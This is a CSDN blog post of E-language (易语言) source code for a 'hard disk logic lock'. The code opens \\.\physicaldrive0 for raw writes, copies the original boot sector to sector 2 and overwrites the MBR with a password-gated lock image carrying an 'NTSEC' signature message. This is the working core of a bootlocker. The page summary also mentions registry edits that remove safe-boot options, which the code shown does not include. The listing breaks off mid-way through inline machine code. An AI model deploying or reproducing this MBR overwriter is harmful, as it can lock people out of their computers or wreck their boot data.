硬盘逻辑锁源码

这段代码实现了一个硬盘逻辑锁的功能,通过设置特定的数据块并校验密码,确保硬盘安全。程序首先检查输入的密码长度,然后进行数据填充和加密处理,并将处理后的数据写入硬盘特定扇区。此外,代码还包含了读写硬盘扇区的子程序以及对注册表项的操作,用于删除某些服务的安全启动选项。
摘要由CSDN通过智能技术生成

.版本 2
.支持库 spec
.支持库 dp1

字节集密码 = 到字节集 (密码)
.如果真 (字节集密码 = { 0 })
    返回的错误 = “密码不可以为空的!!”
    返回 (假)
.如果真结束
.如果真 (取字节集长度 (字节集密码) ≥ 18)
    返回的错误 = “密码不能超过18位!!!!!”
    返回 (假)
.如果真结束
.如果真 (是否为空 (自定义显示信息))
    自定义显示信息 = { 66, 121, 58, 32, 78, 84, 83, 69, 67, 32, 45, 32, 76, 71, 32, 80, 97, 115, 115, 119, 111, 114, 100, 32, 119, 111, 115, 104, 105, 120, 105, 97, 111, 120, 117, 101, 115, 104, 101, 110, 103 }
.如果真结束
填充字节集 = _字节集_取空白 (18 - 取字节集长度 (字节集密码))
数据块 = 到字节集 (到字节 (取字节集长度 (字节集密码)))
数据块 = 数据块 + 字节集密码 + 填充字节集
数据块 = 数据块 + { 0 }
数据块 = 数据块 + 自定义显示信息 + { 0 }
调试输出 (数据块)
处理 = #新版锁芯
绝对偏移 = 取变量数据地址 (处理)
绝对偏移 = 绝对偏移 + #LockData
写字节集 (绝对偏移, 数据块, 取字节集长度 (数据块))
old = 读硬盘扇区 (0, 1)
.如果真 (old = { 0 })
    返回的错误 = “读取原来引导扇区失败!!”
    返回 (假)
.如果真结束
old_md5 = 取字节集左边 (old, 10)
处理_md5 = 取字节集左边 (处理, 10)
.如果真 (取数据摘要 (old_md5) = 取数据摘要 (处理_md5))
    返回的错误 = “你的硬盘已经加锁,请重启计算机生效!!!”
    返回 (假)
.如果真结束
写硬盘扇区 (old, 2, 1)  ' 备份
写硬盘扇区 (处理, 0, 1)  ' 写入
返回的错误 = “加锁完毕!”
返回 (真)

.子程序 写硬盘扇区, 逻辑型
.参数 数据, 字节集
.参数 起始扇区, 整数型
.参数 欲写扇区数, 整数型
.局部变量 偏移, 整数型
.局部变量 总字节, 整数型
.局部变量 设备名, 文本型
.局部变量 handle, 整数型
.局部变量 成功写的字节, 整数型

总字节 = 欲写扇区数 × 512
偏移 = 起始扇区 × 512
设备名 = “\\.\\physicaldrive0”
handle = CreateFileA (设备名, 1073741824, 1, 0, 3, 128, 0)
.如果真 (handle = -1)
    调试输出 (“没有取到句柄”)
    返回 (假)
.如果真结束
SetFilePointer (handle, 偏移, 0, 0)
WriteFile (handle, 数据, 总字节, 取变量地址 (成功写的字节), 0)
CloseHandle (handle)
返回 (真)

.子程序 读硬盘扇区, 字节集, , 作者:超超
.参数 扇区号, 整数型
.参数 数量, 整数型
.局部变量 偏移, 整数型
.局部变量 handle, 整数型
.局部变量 设备名, 文本型
.局部变量 数据, 整数型
.局部变量 成功读取的数据长度, 整数型
.局部变量 读取长度
.局部变量 字节集数据, 字节集

偏移 = 扇区号 × 512  ' 一个扇区512字节
读取长度 = 数量 × 512
设备名 = “\\.\\physicaldrive0”
handle = CreateFileA (设备名, 2147483648, 1, 0, 3, 128, 0)
.如果真 (handle = -1)  ' 无效句柄
    调试输出 (“发生错误 错误号:” + 到文本 (GetLastError ()))
    返回 ({ 0 })
.如果真结束
SetFilePointer (handle, 偏移, 0, 0)  ' 设置位置
数据 = 申请内存 (读取长度, 真)
.如果真 (ReadFile (handle, 数据, 读取长度, 取变量地址 (成功读取的数据长度), 0) = 假)
    调试输出 (“ReadFile 发生错误 错误号:” + 到文本 (GetLastError ()))
    返回 ({ 0 })
.如果真结束
字节集数据 = 指针到字节集 (数据, 读取长度)
释放内存 (数据)
CloseHandle (handle)
返回 (字节集数据)

.子程序 _字节集_取空白, 字节集, , 作者:超超
.参数 零字节数目, 整数型
.局部变量 Address, 整数型
.局部变量 返回值, 字节集

.如果真 (零字节数目 < 1)
    返回 ({  })
.如果真结束
Address = LocalAlloc (64, 零字节数目)
.如果真 (Address = 0)
    返回 ({  })
.如果真结束
返回值 = 指针到字节集 (Address, 零字节数目)
LocalFree (Address)
返回 (返回值)

.子程序 写字节集, , , 作者:超超
.参数 地址, 整数型
.参数 字节集数据, 字节集, 参考
.参数 长度, 整数型, 可空, 可空,默认为字节集数据长度。
.局部变量 p1, 整数型

p1 = 取变量数据地址 (字节集数据)
调试输出 (p1)
.如果真 (是否为空 (长度) 或 长度 > 取字节集长度 (字节集数据) 或 长度 ≤ 0)
    长度 = 取字节集长度 (字节集数据)
.如果真结束
置入代码 ({ 96, 139, 125, 8, 139, 117, 252, 139, 77, 16, 252, 243, 164, 97 })
' pushad
' mov edi,[ebp+8] ;目标地址
' mov

  • 3
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 3
    评论
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值